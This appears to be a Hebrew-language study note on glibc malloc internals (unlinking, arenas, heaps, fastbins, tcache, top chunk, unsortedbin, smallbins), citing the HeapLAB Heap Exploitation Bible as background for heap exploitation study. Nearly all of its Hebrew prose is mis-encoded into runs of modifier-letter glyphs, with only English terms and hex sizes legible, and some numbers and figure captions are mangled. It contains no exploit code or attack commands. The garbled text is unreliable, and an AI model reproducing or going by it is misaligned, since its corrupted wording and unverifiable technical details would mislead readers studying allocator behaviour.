ˢˬ˧˷˶ˢˬ ˡ˟"˩ ˞˶˵ˮ άǾƛŎǘƛƳέ ŎƘǳƴƪ )˭˟˶ˣ˵ˢ ˶˥˟ˮ˷ (ˡˣ˵˟ ˶ˣ˵ˬˢ ˪˷ Malloc .˨˷ˬˢ˟ ˟˧˥˶ˮ ˰ˡ˧ˬ˟ 

˱˯ˣˮ ˪˰ s-free lists ˵˪˥˟ ˪˷ Arenas .˭ˮ˷˧ ˢˬ˩ ˫˧˩˶ˡ ˭ˢ˟ ˧ˣ˷˰ ˰˴˟˸ˢ˪ Unlinking: 

Fastbin & Tcache Unlink: 

-sfastbins sx-tcache ˫˧˷ˬ˸˷ˬ ˢˬ˧˷˶˟ ˸˶˷ˣ˵ˬ ˡ˥ ˸˧ˮˣˣ˧˩ ˷ˣˬ˧ˬ˟ LIFO (Last in is First out) ,

˸˶˸ˢ chunks ˸ˣˬ˧˷˶ˬ ˣ˪˞ ˸˪˪ˣ˩ ˢ˵˸˰ˢ ˪˷ ˪˷ s-fd ˪˷ s-victim chunk ˪˞ ˨ˣ˸ ˢˡ˷ ˷˞˶ 

ˢˬ˧˷˶ˢ )s-head ˷ˡ˥ˢ .(˰ˡ˧ˬ ˱˯ˣˮ ˪˰ s-Fastbin ˰˧˲ˣˬ ˸˥˸ Arenas ˨˷ˬˢ˟. 

Partial Unlink: 

˷˥˶˸ˬ ˶˷˞˩ chunk ˢ˴˵ˣˬ ˨ˣ˸ˬ unsortedbin x˞ smallbin .˸˰˴˟˸ˬ ˢ˟˧˵˰ ˧˶˥˞ ˰˧˟˴ˬ s-bk ˪˷ 

-svictim chunk )˞˶˵ˮ ˭˩ˣ˸˪ ˢˤ ˸˟ˣ˸˩˩ s-destination chunk (˸˟ˣ˸˩ˢˣ ˪˷ ˷˞˶ s-bin )˸˟ˣ˸˩ 
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˸˞˴ˬˮ˷ ˟-arena ˪˷ ˣ˸ˣ˞ bin ˞˪ˣ ˟-heap (˸˵˸˰ˣˬ ˪˞ ˨ˣ˸ s-fd ˪˷ s-destination chunk ϐ˸˞ˤˣ ˧˩ 

ˢ˶˵ˬ˟ ˫ˢ˪˷ ˭˟˶ˣ˵ˢ ˶˥˟ˮ ˸˦˧˷˟ FIFO, ˶ˬˣ˪˩ ˥˵˪ˮ ˟ˮˤˢˬώ .ˢ˟˧˯ˢ ˢ˪˧ˬ˪  Partial˫˷˟ ˢˤ ˞˧ˢ 

ˡˣˠ˧ˮ˟˷ ˧˸˷˪ ˸ˣ˟˧˸˩ˢ ˸ˣ˰˴˟˸ˬ˷ ˸˰˟ ˢ˶˯ˢ ˸˧˦˶ˡˮ˦˯ ˢˬ˧˷˶ˬ xl ˸˧ˮˣˣ˧˩ ˨˶ˣ˴˪ ˶ˣˬ˧˷ ˢˮ˟ˬˢ ,

˭˞˩ ˸˰˴˟˸ˬ ˵˶ ˸˥˞ ˭ˢˬ ϐ˧˩ ˭˧˞ ˨˶ˣ˴ ˶˟˰ˬ˟ ˨˩˪ώ .˰ˡ˧ˬ ˱˯ˣˮ ˪˰ s-unsortedbin x-smallbins ˞˴ˬˮ 

˸˥˸ Arenas. 

Full Unlink: 

˷˥˶˸ˬ ˶˷˞˩ chunk ˡ˥ˣ˞ˬ ˪˞ ˨ˣ˸ free chunk ˶˥˞ ,˫ˠˣ ˶˷˞˩ chunk ˢ˴˵ˣˬ ˨ˣ˸ˬ s-largebins x˞ 

"˧˰ ˷ˣ˲˧˥ ˠˣ˯ˬ binmap )˶˟˯ˣˬ ˨˷ˬˢ˟ .(˸˰˴˟˸ˬ ˢ˟˧˵˰ ˶˥˞ s-fd ˪˷ s-victim chunk ,ˢˣ-bk ˪˷ 

-svictim ˵˸˰ˣˬ ˨ˣ˸˪ s-bk ˪˷ s-destination .˶˥˞˪ ˭˩ˬ )˭˲ˣ˞˟ ˧˶˦ˬ˧˯ (˸˰˴˟˸ˬ ˢ˟˧˵˰ ˶˥˞ s-bk 

˪˷ s-victim ,sx-fd ˪˷ s-victim ˵˸˰ˣˬ ˨ˣ˸˪ s-fd ˪˷ s-destination. 

 

Heaps 

˫ˮ˧ˢ ˫˧˵ˣ˪˟ ˫˧˲˧˴˶ ˪˷ ˭ˣ˶˩˧ˤ .˫˧˪˧˩ˬ ˸˞ s-chunks ˷-Malloc ˢ˴˵ˬ ˨˧˪ˢ˸˪ .˫ˢ ˫˧˪ˢˣˮˬ ˭˲ˣ˞˟ 

ˢˮˣ˷ ˸ˣ˪˸˩ ˫˞ˢ˟ ˫ˢ ˫˧˩˧˧˷ ˪-main arena x˞ ˞˪) .˰ˡ˧ˬ ˱˯ˣˮ ˸˥˸ Arenas( 

Heaps ˫˧˪ˣ˩˧ ˶˴ˣˣ˧ˢ˪ ,˟˥˶˸ˢ˪ ,˳ˣˣ˩˸ˢ˪ x˞ ˵˥ˬ˧ˢ˪ .-sHeap ˪˷ s-main arena ˶˴ˣˮ ˨˪ˢˬ˟ ˢ˷˵˟ˢ 

ˢˮˣ˷˞˶ˢ ˪˷ ˭ˣ˶˩˧ˤ ˧ˬ˞ˮ˧ˡ .Heaps ˪˷ Arenas ˫˧˶˥˞ ˫˧˶˴ˣˮ ˰"˧ ˢ˞˧˶˵ ˢ˧˴˵ˮˣ˲˪ new_heap(). 

Heaps ˪˷ s-Main arena ˫˧˪ˡˠ ˫˧ˮ˦˵ˣ ˰"˧ brk() syscall ,˶˷˞ ˸˷˵˟ˬ ˭ˣ˶˩˧ˤ ˱˯ˣˮ ˢˬ-Kernel x˞ 

ˢ˶˧ˤ˥ˬ x˪ ˭ˣ˶˩˧ˤ .Heaps ˪˷ Arenas ˸ˣ˶˥˞ )Non-main-arena (˫˧˶˴ˣˮ ˫˰ ˪ˡˣˠ ˰ˣ˟˵ ˸ˣ˧˴˵ˮˣ˲ˢˣ 

grow_heap() x shrink_heap()-˸ˣ˲ˬˬ ˶˸ˣ˧ x˞ ˸ˣ˥˲ ˭ˣ˶˩˧ˤ ˭˸˧ˮ˩-ˢ˟˧˸˩˪ )writeable.( 

Heaps ˫˧˩˧˧˷ˢ ˪- Non-main-arena˫ˠ ˫˧˧ˣ˷˰ )˱˯ˣˮ˟ ˨˩˪ (˯˶ˢˢ˪ ˰"˧ ˣ˶˵˞ˬˢ delete_heap() ˨˪ˢˬ˟ 

˸ˣ˞˧˶˵ ˪-heap_trim(). 

Arenas 

Malloc ˪ˢˮˬ ˸˞ s-Heap ˪˷ ˨˧˪ˢ˸ ˸˶ˤ˰˟ ˫˧ˮ˟ˬ ˠˣ˯ˬ malloc_state ,˫˧˰ˣˡ˧ˢ ˩-arenas .˫˸ˣ˞ 

arenas ˫˧˪˧˩ˬ ˶˵˧˰˟ "bins "˫˧˷ˬ˷ˬˢ ˶ˣˤ˥ˬ˪ ˪˷ free chunks ˨ˣ˸˟ ˭ˣ˶˩ˤ s-heap .Arena ˡ˧˥˧ ˪ˣ˩˧ 

˪ˢˮ˪ ˶˲˯ˬ heaps x˟ ˸˧ˮˬˤ . 

Arenas ˫˧˷ˡ˥ ˫˧˶˴ˣˮ ˰"˧ ˢ˞˧˶˵ ˮˣ˲˪ '_int_new_arena() ˫˧˪˥˸ˣ˞ˬˣ ˰"˧ malloc_init_state() . 

˶˲˯ˬˢ ˧˪ˬ˧˯˵ˬˢ ˪˷ Arenas ˸ˣ˪ˢˣˮˬˢ ˪˧˟˵ˬ˟ ˯˯ˣ˟ˬ ˪˰ ˶˲˯ˬ ˸ˣ˟˧˪ˢ )cpu cores (˭˧ˬˤˢ ˨˧˪ˢ˸˪. 
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 Arena Layout 

˶ˣ˧˞ ˶˞˸ˬˢ ˸˞ ˢˣˣ˸ˬ s-Arena )˶ˡˠˣˬ ˨ˣ˸˟ struct malloc_state:( 

 

ϐ˶ˣ˧˞ сΥ ˸˶ˣ˴˸ sπArena Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

mutex :˰˴˟ˬ ˢ˧˴ˤ˧˪˞˧˶˧˯ ˢ˷˧ˠ˪ ˪-arena .Malloc ˪˰ˣˮ ˸˞ s-mutex ˪˷ s-arena ˧ˮ˲˪ ˸˷˵˟ ˭ˣ˶˩˧ˤ 

heap ˣˮˬˬ. 

flags :˫˧˵˧ˤ˥ˬ ˰ˡ˧ˬ ˣˬ˩ ˫˞ˢ ˭ˣ˶˩˧ˤ s-heap ˪˷ s-arena ˱˧˴˶ x˞ ˞˪) .ˣˮ˩˸˧ ˫˧˟˴ˬ ˫ˢ˟ ˭˸˧ˮ ˫˧˶˰ˢ˪ 

˪˰ Malloc ˟ˣ˷˥˪ ˷˧˷ ˫˧˶ˣ˥ ˟-heap .˶˷˵˸ˬ ˪-top chunk( 

have_fastchunks :˷˶ˣ˲ˬ ˩-bool ˭˧˧˴ˬ˩ ˫˞ˢ s-fastbins ˫˧˵˧˶ x˞ ˞˪ .˵˪ˡˣˬ ˶˷˞˩ chunk ˶˷ˣ˵ˬ 

˨ˣ˸˪ fastbin ˯˲ˣ˞ˬˣ ˰"˧ malloc_consolidate() )˶ˢ˟˸˧ ˨˷ˬˢ˟( 

ˢ˶˰ˢ - ˢˡ˷ ˢˤ sx-padding dword ˣ˧˶˥˞˷ )˭˟˪˟ (˫˧˰˧˲ˣˬ ˵˶ ˸ˣ˞˯˶ˠ˟ >= 2.27  .˸ˣ˞˯˶ˠ˟ ˸ˣˮ˷˧ 

˶˸ˣ˧ )н.нс ˢ˦ˬˣ (˫ˢ ˵˪˥ ˢˡ˷ˬ s-flags. 

Fastbins 

ˡˣ˵ ˶ˣ˵ˬˢ ˪˷ Malloc ˶˞˸ˬ ˸˞ s-fastbins ˩-bins ˫˧ˡ˥ˣ˧ˬ ˫˧˵˧ˤ˥ˬ˷ .˫ˢ ˫˧ˣˣˢˬ ˱˯ˣ˞ ˪˷ ˸ˣˬ˧˷˶ 

˸ˣ˶˷ˣ˵ˬ ˡ˥-˸ˣ˧ˮˣˣ˧˩ ,˞˪˪ ˫˧˪ˠ˰ˬ )acyclic (˫˧˵˧ˤ˥ˬ˷ free-chunks ˫˧˪ˡˠ˟ ˫˧˧˲˧˴˲˯ .˫ˮ˷˧ мл 

fastbins ˪˩˪ arena ,*˪˩ ˡ˥˞ ˫ˢˬ ˧˞˶˥˞ "˵˧ˤ˥ˢ˪ "free-chunks ˫˧˪ˡˠ˟ 0x20 ˡ˰ 0xb0 .ˢˬˠˣˡ˪ :
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0x20 fastbin ˵˧ˤ˥˧ ˵˶ free-chunks ˪ˡˣˠ˟ 0x20 .˫˞ ˧˩ ˵˶ т ˨ˣ˸ˬ s-fastbins ˣ˪˞ˢ ˫˧ˮ˧ˬˤ ˸˥˸ ˧˞ˮ˸ 

˸˶˧˶˟-˪ˡ˥ˬ .ˢ˧˴˵ˮˣ˲ˢ mallopt() ˢ˪ˣ˩˧ ˸ˣˮ˷˪ ˶˲˯ˬ ˢˤ ˰"˧ ˧ˣˮ˧˷ ˨˶˰ ˢˮ˸˷ˬˢ global_max_fast. 

˰˧˟˴ˬ ˷˞˶˪ )ˢ˶˵ˬ˟ ˢˤ ˰˧˟˴ˬ ˪-chunk ˭ˣ˷˞˶ˢ ˢˬ˧˷˶˟ ˸˶˷ˣ˵ˬˢ (˪˷ ˪˩ fastbin ˭˩ˣ˷ ˨ˣ˸˟ s-

arena ˣ˪˷ ,˫˞ ˧˩ ˫˧˶ˣ˷˧˵ˢ ˭˧˟ chunks ˫˧˟˵ˣ˰ ˫˧ˮ˯˥ˣ˞ˬ inline )˫ˣ˵ˬ˟ ,˨ˣ˸˟ ˧˶˟˧˞ ˢˬ˧˷˶ˢ ˫ˬ˴˰ .(

˰ˠ˶˟ ˢ˷-chunk ˶˶˥ˣ˷ˬ )ˡ˰ˣ˧ˬˣ ˪-fastbin ,(ˢquadword ˭ˣ˷˞˶ˢ ˪˷ s-user data ˣ˪˷ ˡ˰ˣ˧ˬ ˷ˡ˥ˬ 

-˩forward pointer )fd (ˢ˸˰ˬˣ ˨˪˧˞ˣ ˣˮ˧ˢ ˵˪˥ ˢˬ˧˷˶ˢˬ )˶˷ˣ˵ˬ ˪˞ ˨ˣ˸ s-fastbin .(fd ˪˰˟ ˨˶˰ null 

˭˧˧˴ˬ ˣˢˤ˷ s-chunk ˡ˧˥˧ˢ ˭ˣ˶˥˞ˢˣ ˟-fastbin. 

 

ϐ˶ˣ˧˞ тΥ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ ˪˷ fastbin Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

Fastbins ˫˧ˡ˟ˣ˰ ˸˦˧˷˟ LIFO ,˶ˣ˶˥˷ chunk ˪˞ ˨ˣ˸ fastbin ˶˷˵ˬ ˣ˸ˣ˞ ˷˞˶˩ ˪˷ ˣ˸ˣ˞ fastbin .ˣˬ˩ 

˭˩ ,ˢ˷˵˟ ˪˷ chunks ˪ˡˣˠ˟ ˫˞ˣ˸˷ ˪-fastbin ˣˮ˧˞˷ ˵˧˶ ,ˣˬ˶ˠ˧ ˢ˞˴˵ˢ˪ )˸˶ˤˣ˥ ,˶ˣˤ˥ˬ (˪˷ s-chunk 

˷˞˶˟ ˣ˸ˣ˞ fastbin. 

Free chunks ˫˧˶˷ˣ˵ˬ ˸ˣ˶˧˷˧ ˪˞ ˨ˣ˸ s-fastbin ˫˞ˣ˸ˢ ˫ˢ˪ ˢˡ˧ˬ˟ sx-tcache ˫˧˞˸ˬˢ ˣ˸ˣ˞˪ ˪ˡˣˠ 

˞˪ˬ .˸˰˟ ˸˷˵˟ chunk ˪ˡˣˠ˟ ˪˲ˣˮˢ ˥ˣˣ˦˟ ˪˷ ˧˪ˡˠ s-fastbin ˰˴ˣ˟˧ ˷ˣ˲˧˥ ˟-fastbin ˵˶ ˶˥˞˪ ˰˴ˣ˟˷ 

˷ˣ˲˧˥ ˟-tcache ˧ˮ˲˪ˣ ˰˴ˣ˟ˬ˷ ˷ˣ˲˧˥ ˪˩˟ ˶˞˷ ˧ˠˣ˯ s-bins. 

*s-bin ˪ˡˣˠ˟ 0xb0 ˶˴ˣˮ ˸ˣ˰˦˟ ,˸˞ˤ ˟˵˰ ˶˯ˣ˥ ˭ˣ˧ˣˣ˧˷ˢ ˭˧˟ ˨˧˞ ˫˧˯˥˧˧˸ˬ˷ ˰ˣ˟˵˪ MAX_FAST_SIZE 

˪ˡˣˠ˩ ˢ˷˵˟ ˸ˬˣ˰˪ ˨˧˞ ˫˧˯˥˧˧˸ˬ˷ ˢˮ˸˷ˬ˪ global_max_fast ˪ˡˣˠ˩ chunk. 

Top (top chunk) 

˶˟˰˟ ˢ˧ˢ ˞˶˵ˮ ˫ˠ "wilderness ."˨ˣ˸ˬ malloc.c  :top chunk ˞ˣˢ s-chunk ˭˧ˬˤˢ ˣˮ˧ˢ˷ s-topmost 

)˪˰˟ ˸˟ˣ˸˩ˢ ˢˢˣ˟ˠˢ ˶˸ˣ˧˟ (˶ˬˣ˪˩ ˢˤ ˪˟ˣˠ˷ ˱ˣ˯˟ ˭ˣ˶˩ˤˢ ˭˧ˬˤˢ .˶˥˞˪ ˷-Arena ˷ˡ˥ ˪˥˸ˣ˞ˬ ,top 

chunk ˡ˧ˬ˸ ˢ˧ˢ˧ ˫˧˧˵ ˡ˧ˬ˸ˣ ˷˧ ˵˶ ˡ˥˞ ˢˤ˩ ˪˩˪ Arena .˸ˣ˷˵˟ ˸ˣ˪˟˵ˬ ˭ˣ˶˩˧ˤ ˢˬ-top chunk ˵˶ 

˶˷˞˩ ˭s ˞˪ ˸ˣ˪ˣ˩˧ ˸ˣˮ˰ˢ˪ ˰"˧ bin ˣˢ˷˪˩ ˶˥˞ ˣ˸ˣ˞˟ Arena. 

˶˷˞˩ s-top chunk ˭˦˵ ˧ˡˬ ˧ˡ˩ ˸˶˷˪ ˢ˷˵˟ ˸˥˸ˬ ˪-mmap treshold )˸ˣ˷˵˟ ˪˰ˬ ˱˯˪ ˸ˣ˪˟˵ˬ 

˭ˣ˶˩˧ˤ ˬ-mmap() ,(malloc ˢ˯ˮ˧ ˪˧ˡˠˢ˪ ˸˞ s-heap ˣ˟˷ s-top chunk ˭˩ˣ˷ ˸˶ˤ˰˟ ˢ˧˴˵ˮˣ˲ˢ 

sysmalloc() ˶˥˞˪ˣ ˭˩ˬ ˟˧˥˶˧ ˸˞ s-top chunk .ˢˡ˧ˬ˟ ˪˷˩ˮˣ ,heap ˷ˡ˥ ˢ˴˵ˣ˧ ˨ˣ˲ˢ˧ˣ ˪-top chunk 

˪˷ ˣ˸ˣ˞ arena ,˪˩ˣ ˭ˣ˶˩ˤˢ ˶˸ˣˮ˷ ˟-top chunk ˭˷˧ˢ ˶˶˥ˣ˷ˬ .˧ˡ˩ ˠ˧˷ˢ˪ ˸˞ˤ ,malloc ˫˵ˬˬ ˧ˮ˷ 

άŦŜƴŎŜǇƻǎǘέ ŎƘǳƴƪǎ ˪ˡˣˠ˟ 0x10 ˪˩ ˡ˥˞ ˱ˣ˯˟ s-heap ˭˷˧ˢ )ˢ˲˧˞ ˪˧˥˸ˬ˷ ˶ˣ˥ˢ (˧ˡ˩ ˥˧˦˟ˢ˪ 

˭ˣ˧˯˧ˮ˷ ˡˣ˥˧˞˪-˧ˬˡ˵ )forward consolidation (˞˪ ˫ˣ˶ˠ˧ ˪-Out-of-bounds read. ˸ˣ˧˴˵ˮˣ˲ˢ ˸ˣ˷ˬ˷ˬˢ 

˪ˣˢ˧ˮ˪ s-heaps ˸ˣ˰˧˲ˣˬ ˸˥˸ ˸˶˸ˣ˩ˢ Heaps. 
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Malloc ˪ˢˮˬ ˟˵˰ˬ ˶˥˞ ˪ˡˣˠ ˭ˣ˶˩ˤˢ ˶˸ˣˮˢ ˟-top chunk ˸˶ˤ˰˟ s-size field ˣ˪˷ ,˦˧˟ s-

PREV_IN_USE ˪˷ ˣ˸ˣ˞ ˢˡ˷ ˡ˧ˬ˸ ˵ˣ˪ˡ .top chunk ˡ˧ˬ˸ ˪˧˩ˬ ˵˧˲˯ˬ ˭ˣ˶˩˧ˤ ˧ˡ˩ ˸ˣ˴˵ˢ˪ chunk ˪ˡˣˠ˟ 

˧˪ˬ˧ˮ˧ˬ ˡ˧ˬ˸ˣ ˫˧˧˸˯˧ ˪ˣ˟ˠ˟ ˪˷ ˱ˣ˯ ˱ˡ ˭ˣ˶˩ˤ .˶ˬˣ˪˩ ˞ˣˢ ˫˶ˣ˸ ˪-"alignment ˪˷ s-heap "˪ˡˣˠ˟ ˪˷ 

˱ˡ ,ˢ˶˵ˬ˟ ˣˮ˪˷ ˶˟ˣˡˬ ˟-4KB .˶ˬˣ˪˩ ˨˯ ˪˩ ˪ˡˣˠ s-heap ˞˪ ˪˪ˣ˩ s-qw s-м )˫ˮˬ˞ ˰˧˟˴ˬˢ ˪heap 

˰˧˟˴ˬ ˫˷˪ (ˢ˧ˢ˧ ˨˶˰ ˣ˟˷ ˸˷ˣ˪˷ ˫˧˸˟ˢ ˫˧ˮˣ˸˥˸ˢ ˫˧˯˲ˣ˞ˬ )˸˶ˣ˩ˤ˸ :˧˩˶˰ s-page size ˫˧ˮ˧ˬˤˢ 

˸˩˶˰ˬ˟ ˫˧˧ˣ˪˸ ˟-ISA ,ˠˣ˯ ˡ˟˰ˬˢ ˡˣˬˣ ˢ˪ˣ˰˲ˢ )˭ˣ˰˧ˬ .(˰ˬ"s ˸˶˥ˣ˟ ˡ˥˞ x˞ ˶˸ˣ˧ ˭˧˟ˬ ˫˧˪ˡˠˢ 

˫˧˩ˬ˸ˮˢ ˢ˶ˣ˦˵˦˧˩˶˞˟ .ˡ˰ ˭˞˩ ˫˧˧˸ˮ˧˟˪ ˧˟ˠ˪ ˭ˣ˶˩˧ˤ ˧˪˞ˣ˦˶˧ˣ x-paging ( 

Last_remainder 

ˢˡ˷ ˢˤ ˵˧ˤ˥ˬ ˸˞ ˸˟ˣ˸˩ s-chunk ˶˸ˣˮ˷ ˸˪ˣ˰˲ˬ s-remaindering ˸ˬˡˣ˵ˢ )ˢ˪ˣ˰˲ ˢ˟ ˢ˷˵˟ˢ 

˸˪˟˵ˬ ˢˮ˰ˬ ˨ˣ˸ˬ ˵˪˥ ˪˷ free chunk ˵˪˥ˣ ˸˧˶˞˷ˢ ˶˞˷ˮ ˧ˣˮ˲ ˷ˣˬ˧˷˪ .(˞ˣˢ ˯˪˩ˣ˞ˬ ˶˷˞˩ ˸ˣ˰˧ˠˬ 

˸ˣ˷˵˟ ˪ˡˣˠ˟ ˪˲ˣˮˢ ˥ˣˣ˦˟ ˪˷ s-smallbin ˸ˣ˵˲ˣ˯ˬ˷ ˨ˣ˸ˬ ˶˴ˣ˸ˢ ˧˷˞˶ˢ ˪˷ ˸˪ˣ˰˲ s-remaindering 

)˞˪ ˸˧˶˞˷ˢ (˪˰ chunk ˰˧ˠˢ˷ ˢˬ-unsortedbin. 

˶˷˞˩ ˪ˡˣˠ ˢ˷˵˟ˢ ˳ˣ˥ˬ ˥ˣˣ˦˪ ˪˷ s-smallbin ,ˢˡ˷ ˢˤ ˞˪ ˯˪˩ˣ˞˧ ˶˥˞˪ ˸˪ˣ˰˲ remaindering ˪˰ s-

largebin sx-unsortedbin x˞ ˧˷ˣ˲˧˥ˬ binmap. 

˧ˡ˩ ˰˴˟˪ remaindering ˨ˣ˸ˬ unsortedbin ,-slast remainder chunk ˟˧˧˥ ˸ˣ˧ˢ˪ ˷˞˶ˢ ˪˷ ˣ˸ˣ˞ 

unsortedbin .ˡˣ˰ ˪˰ ˨˩ ˵˪˥˟ ˞˟ˢ: 

Unsortedbin 

ˣˮ˧ˢ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ xl-˸˧ˮˣˣ˧˩ ˸˧˪ˠ˰ˬ ˢ˵˧ˤ˥ˬ˷ free chunks ˪˩ˬ ˪ˡˣˠ .˫˧˰˧˟˴ˬˢ ˷˞˶˪ ˟ˮˤˢˣ ˢ˪˷ 

˫˧ˮ˩ˣ˷ ˨ˣ˸˟ sArena ˸˩˧˧ˣ˷ˬˢ ˶ˣ˞˸ˬ˩ ˶ˣ˧˞˟ с )ˢ˶ˣ˴˟ ˪˷ "chunk "ˢˬ˪˷ˢ ˧ˮˣ˧ˬˡ ˣˮ˧˞˷ ˪˧˩ˬ user 

data ,˞˪˞ ˵˶ ˫˧˰˧˟˴ˬ ˫˧˩˲ˣˢˢ ˸˞ ˢˬ˧˷˶ˢ ˸˧˪ˠ˰ˬ˪ ˫˧ˮ˸ˣˮˣ ˢ˷˧ˠ ˢ˧˪˞ (ˣ˪˧˞ˣ ˸ˣˡ˷ s-fd sx-bk 

˫˧˶˷˵ˬˢ ˭˧˟ chunks ˫˧˟˵ˣ˰ ˫˧˶ˬ˷ˮ inline ˨ˣ˸˟ ˪˰ ˧˟ˠ s-heap )˨ˣ˸˟ s-ŎƘǳƴƪΩǎ ƳŜǘŀŘŀǘŀ.( 

 

ϐ˶ˣ˧˞ уΥ ˢˬ˧˷˶ ˸˶˷ˣ˵ˬ xlπ˸˧ˮˣˣ˩˧ ˪˷ Unsortedbin Φ˨ˣ˸ˬ HeapLAB Heap Exploitation Bible, Max Kamper Σ˶ˣ˷˧˞˟ ˶˴ˣ˧ˢώ 

Free chunks ˫˧˶˷ˣ˵ˬ ˸ˣ˶˧˷˧ ˪˞ ˨ˣ˸ ˷˞˶ ˢˬ˧˷˶ˢ ˸˶˷ˣ˵ˬˢ ˮˢ"˪ ˶˷˞˩ s-tcachebin ˫˞ˣ˸ˢ ˫ˢ˪ 

˞˪ˬ x˞ ˶˷˞˩ ˫ˢ ˳ˣ˥ˬ ˥ˣˣ˦˪ ˪˷ ˧˪ˡˠ s-tcache )0x420 ˢ˪˰ˬˣ ˸˥˸ ˧˞ˮ˸ ˸˶˧˶˟ ˪ˡ˥ˬ .(˸ˣ˞˯˶ˠ˟ 

˭ˢ˟ glibc ˪˲ˬˣ˵ˬ ˞˪˪ s-tcache )glibc <= 2.25 ˟˴ˬ˟ ˸˶˧˶˟ ˪ˡ˥ˬ. ˟˧˥˶ˮ ˸˥˸ Tcache ˧˟ˠ˪ ˫˧˞˴ˣ˧ˢ 

˭ˬ ˪˪˩ˢ (free chunks ˫˧˶˷ˣ˵ˬ ˸ˣ˶˧˷˧ ˪˞ ˨ˣ˸ ˷˞˶ ˢˬ˧˷˶ˢ ˶˷˞˩ ˫ˢ ˳ˣ˥ˬ ˥ˣˣ˦˪ ˧˪ˡˠ s-fastbin 

)˶ˬˣ˪˩ ˪˥ˢ ˬ-0x90 ˢ˪˰ˬˣ ˸˥˸ ˧˞ˮ˸ ˸˶˧˶˟ ˪ˡ˥ˬ.( 
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˷ˣ˲˧˥ ˟-unsortedbin ˰˴˟˸ˬ ˶˥˞˪ ˰˴ˣ˟˷ ˷ˣ˲˧˥ ˟-tcache ,-˟fastbins ˟x-smallbins ˶˷˞˩ ˪ˡˣˠˢ 

˪˲ˣˮ ˨ˣ˸˟ ˫˧˥ˣˣ˦ ˣ˪˞ ˨˞ ˧ˮ˲˪ s-largebins .˷ˣ˲˧˥ ˟-unsortedbin ˪˧˥˸ˬ ˱ˣ˯ˬ s-bin ˫ˡ˵˸ˬˣ ˭ˣˣ˧˩˪ 

˸˧ˤ˥ˢ )˶ˣ˩ˤ˩ ,˭˟˶ˣ˵ˢ ˶˥˟ˮ ˸˦˧˷˟ FIFO ,(˫˞ chunk ˫˧˞˸ˬ ˵ˣ˧ˡ˟ ˪ˡˣˠ˪ ˢ˷˵˟ˢ ˶˥˞˪ ˪ˣˬ˶ˮ )˪ˣˠ˧˰ 

˧˲˪˩ ˢ˪˰ˬ ˢ˪ˣ˲˩˪ ˪˷ 0x10 ˶˥˞˪ ˫˧˲˧˯ˣˬ˷ Bу ˪ˡˣˠ˪ ˢ˷˵˟ˢ (- ˞ˣˢ ˢ˴˵ˣ˧ ˷ˣ˲˧˥ˢˣ ˵˧˯˲˧ ,˸˶˥˞ 

˞ˣˢ ˭˧˧ˣˬˬ ˪˞ ˨ˣ˸ s-smallbin x˞ s-larbin ˫˧˞˸ˬˢ. 

˫˞ s-chunk ˵ˡ˟ˮ˷ ˨˪ˢˬ˟ ˸˵˧˶˯ s-unsortedbin ˞˪ ˫˧˞˸ˬ ˵ˣ˧ˡ˟ ˪˟˞ ˞ˣˢ s-last remainder ˪ˣˡˠˣ 

˵˧˲˯ˬ ˧ˡ˩ "˰ˣ˴˟˪ "ˣ˸ˣ˞ ˟ˣ˷ )remaindering (ˤ˞ ˨˩ ˢ˶˵˧ .Chunks ˫ˢ˷ ˶˴ˣ˸ ˪˷ ˸˪ˣ˰˲ 

remaindering ˣˤ˩˷ ˫˧˶˷ˣ˵ˬ ˢ˶ˤ˥˟ ˪˞ ˷˞˶ s-unsortedbin )˭˟ˣˬ˩ˣ ˥˸ˮˢ˷ ˶ˤˠˮ˷ ˫˞˸ˢ˟ ˸ˣˡ˧ˬ˪ 

˪˷ ˢ˷˵˟ˢ ˶˟˰ˣˬ ˷ˬ˸˷ˬ˪ ˞˴ˣˬˣ ˢˬ˧˷˶ˢˬ .˶˟ˣˡˬ ˵˪˥˟ ˫˰ ˸˟ˣ˸˩ˢ ˢ˩ˣˬˮˢ ˭˧˟ˬ ˫˧˧ˮ˷ˢ.( 

˞˴ˣ˧ ˫˴˰˟˷ Malloc ˭˸ˣˮ ˸ˣˮˬˡˤˢ ˢˡ˧˥˧ ˪˩˪ chunk ˟-unsortedbin ˸ˣ˧ˢ˪ ˢ˴˵ˣˬ ˰ˠ˶˟ ˞ˣˢ˷ ˵˶˯ˮ 

˧ˮ˲˪ ˞ˣˢ˷ ˭˧˧ˣˬˬ .˨˩ ˫˴˰˟˷ ˞ˣˢ ˷ˬ˷ˬ ˠˣ˯˩ ˪˷ ˶ˣ˸ ˫˧˯ˮ˩ˣˬ˷ ˣ˧˪˞ chunks ˨˪ˢˬ˟ free ˫ˠˣ ˸˰˟ 

malloc_consolidate() ˫˧˥˵˪ˮˣ )˷ˣˬ˧˷˪ x˞ ˢ˞˪ˢ ˡ˥˞˪ s-bins (˨ˣ˸˟ malloc() .˪ˠˡ s-

NON_MAIN_ARENA ˡ˧ˬ˸ ˯˲ˣ˞ˬ ˶ˣ˟˰ unsorted chunks ˪˰ˣ ˭˩ ˞˪ ˥˪˵ˮ ˭ˣ˟˷˥˟ ˸˰˟ ˸˞ˣˣ˷ˢ size 

fields )˪˩ ˢ˪˵ˢ ˣˤ˩˷ ˸˟ˣ˦˪ ˱˵ˣ˸ˢ ˢ˪ˣ˩˧ ˪˵ˢ˪ ˣ˧˪˰ ˶ˣ˟˰˪ ˢ˥˦˧˟˟ mitigations ˪˷ ˸˸˥˷ˢ ˭ˣ˶˩ˤ( 

Smallbins 

˱˯ˣ˞ ˪˷ ˸ˣˬ˧˷˶ ˸ˣ˶˷ˣ˵ˬ xl-˸ˣ˧ˮˣˣ˧˩ ˸ˣ˧˪ˠ˰ˬ ˪˩˷ ˸˥˞ ˭ˢˬ ˢ˵˧ˤ˥ˬ free chunks ˪ˡˣˠ˟ ˫˧˧ˣ˯ˬ .˫ˮ˷˧ 

сн smallbins ˪˩˟ arena ,˪˩˷ ˡ˥˞ ˫ˢˬ ˧˞˶˥˞ ˪˰ chunks ˫˧˪ˡˠ˟ 0x20 ˡ˰ 0x3f0 ˶˷˞˩ ˵˪˥ ˫ˢˬ 

